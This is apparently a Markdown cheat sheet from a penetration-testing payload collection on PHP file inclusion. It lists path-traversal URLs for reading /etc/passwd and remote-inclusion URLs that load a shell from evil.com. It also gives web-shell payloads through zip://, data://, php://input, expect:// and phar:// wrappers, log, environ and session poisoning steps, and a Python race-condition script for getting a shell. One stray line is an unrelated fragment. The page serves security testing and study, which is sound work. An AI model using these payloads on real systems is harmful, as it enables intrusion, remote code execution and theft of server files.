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288 lines
9.7 KiB
Markdown
288 lines
9.7 KiB
Markdown
# File Inclusion
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The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
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The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application
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## Summary
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* [Basic LFI](#basic-lfi)
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* [Basic RFI](#basic-rfi)
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* [LFI / RFI using wrappers](#lfi--rfi-using-wrappers)
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* [Wrapper php://filter](#wrapper-phpfilter)
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* [Wrapper zip://](#wrapper-zip)
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* [Wrapper data://](#wrapper-data)
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* [Wrapper expect://](#wrapper-expect)
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* [Wrapper input://](#wrapper-input)
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* [Wrapper phar://](#wrapper-phar)
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* [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
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* [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
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* [LFI to RCE via upload](#lfi-to-rce-via-upload)
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* [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
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* [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
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* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
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* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
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## Basic LFI
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In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.
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```powershell
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http://example.com/index.php?page=../../../etc/passwd
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```
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Null byte
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```powershell
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http://example.com/index.php?page=../../../etc/passwd%00
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```
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Double encoding
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```powershell
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http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
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http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
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```
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Path truncation
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```powershell
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http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
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http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd
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```
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Filter bypass tricks
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```powershell
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http://example.com/index.php?page=....//....//etc/passwd
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http://example.com/index.php?page=..///////..////..//////etc/passwd
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http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
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```
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## Basic RFI
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```powershell
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http://example.com/index.php?page=http://evil.com/shell.txt
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```
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Null byte
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```powershell
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http://example.com/index.php?page=http://evil.com/shell.txt%00
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```
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Double encoding
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```powershell
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http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
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```
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## LFI / RFI using wrappers
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### Wrapper php://filter
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The part "php://filter" is case insensitive
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```powershell
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http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
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http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
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http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
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```
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can be chained with a compression wrapper for large files.
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```powershell
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http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
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```
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NOTE: Wrappers can be chained : `php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s`
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### Wrapper zip://
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```python
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echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
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zip payload.zip payload.php;
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mv payload.zip shell.jpg;
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rm payload.php
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http://example.com/index.php?page=zip://shell.jpg%23payload.php
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```
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### Wrapper data://
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```powershell
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http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
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NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
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```
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Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
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### Wrapper expect://
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```powershell
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http://example.com/index.php?page=expect://id
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http://example.com/index.php?page=expect://ls
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```
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### Wrapper input://
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Specify your payload in the POST parameters
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```powershell
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http://example.com/index.php?page=php://input
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POST DATA: <?php system('id'); ?>
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```
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### Wrapper phar://
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Create a phar file with a serialized object in its meta-data.
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```php
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// create new Phar
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$phar = new Phar('test.phar');
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$phar->startBuffering();
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$phar->addFromString('test.txt', 'text');
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$phar->setStub('<?php __HALT_COMPILER(); ? >');
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// add object of any class as meta data
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class AnyClass {}
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$object = new AnyClass;
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$object->data = 'rips';
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$phar->setMetadata($object);
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$phar->stopBuffering();
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```
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If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked
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```php
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class AnyClass {
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function __destruct() {
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echo $this->data;
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}
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}
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// output: rips
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include('phar://test.phar');
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```
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NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more.
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## LFI to RCE via /proc/*/fd
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1. Upload a lot of shells (for example : 100)
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2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
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## LFI to RCE via /proc/self/environ
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Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
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```powershell
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GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
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User-Agent: <?=phpinfo(); ?>
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```
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## LFI to RCE via upload
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If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
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```powershell
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http://example.com/index.php?page=path/to/uploaded/file.png
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```
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In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
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## LFI to RCE via upload (race)
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Worlds Quitest Let's Play"
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* Upload a file and trigger a self-inclusion.
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* Repeat 1 a shitload of time to:
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* increase our odds of winning the race
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* increase our guessing odds
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* Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
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* Enjoy our shell.
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```python
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import itertools
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import requests
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import sys
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print('[+] Trying to win the race')
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f = {'file': open('shell.php', 'rb')}
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for _ in range(4096 * 4096):
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requests.post('http://target.com/index.php?c=index.php', f)
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print('[+] Bruteforcing the inclusion')
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for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
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url = 'http://target.com/index.php?c=/tmp/php' + fname
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r = requests.get(url)
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if 'load average' in r.text: # <?php echo system('uptime');
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print('[+] We have got a shell: ' + url)
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sys.exit(0)
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print('[x] Something went wrong, please try again')
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```
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## LFI to RCE via phpinfo()
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https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
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Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
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## LFI to RCE via controlled log file
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Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
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```powershell
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http://example.com/index.php?page=/var/log/apache/access.log
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http://example.com/index.php?page=/var/log/apache/error.log
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http://example.com/index.php?page=/var/log/vsftpd.log
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http://example.com/index.php?page=/var/log/sshd.log
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http://example.com/index.php?page=/var/log/mail
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http://example.com/index.php?page=/var/log/httpd/error_log
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http://example.com/index.php?page=/usr/local/apache/log/error_log
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http://example.com/index.php?page=/usr/local/apache2/log/error_log
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```
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## LFI to RCE via PHP sessions
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Check if the website use PHP Session (PHPSESSID)
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```javascript
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Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
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Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
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```
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In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files
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```javascript
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/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
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user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
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```
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Set the cookie to `<?php system('cat /etc/passwd');?>`
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```powershell
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login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
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```
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Use the LFI to include the PHP session file
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```powershell
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login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
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```
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## References
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* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
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* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/)
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* [Turning LFI to RFI](https://l.avala.mp/?p=241)
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* [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
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* [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
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* [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
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* [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
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* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
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* [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
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* [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379)
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* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
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* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
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* [Local file inclusion mini list - Penetrate.io](https://penetrate.io/2014/09/25/local-file-inclusion-mini-list/)
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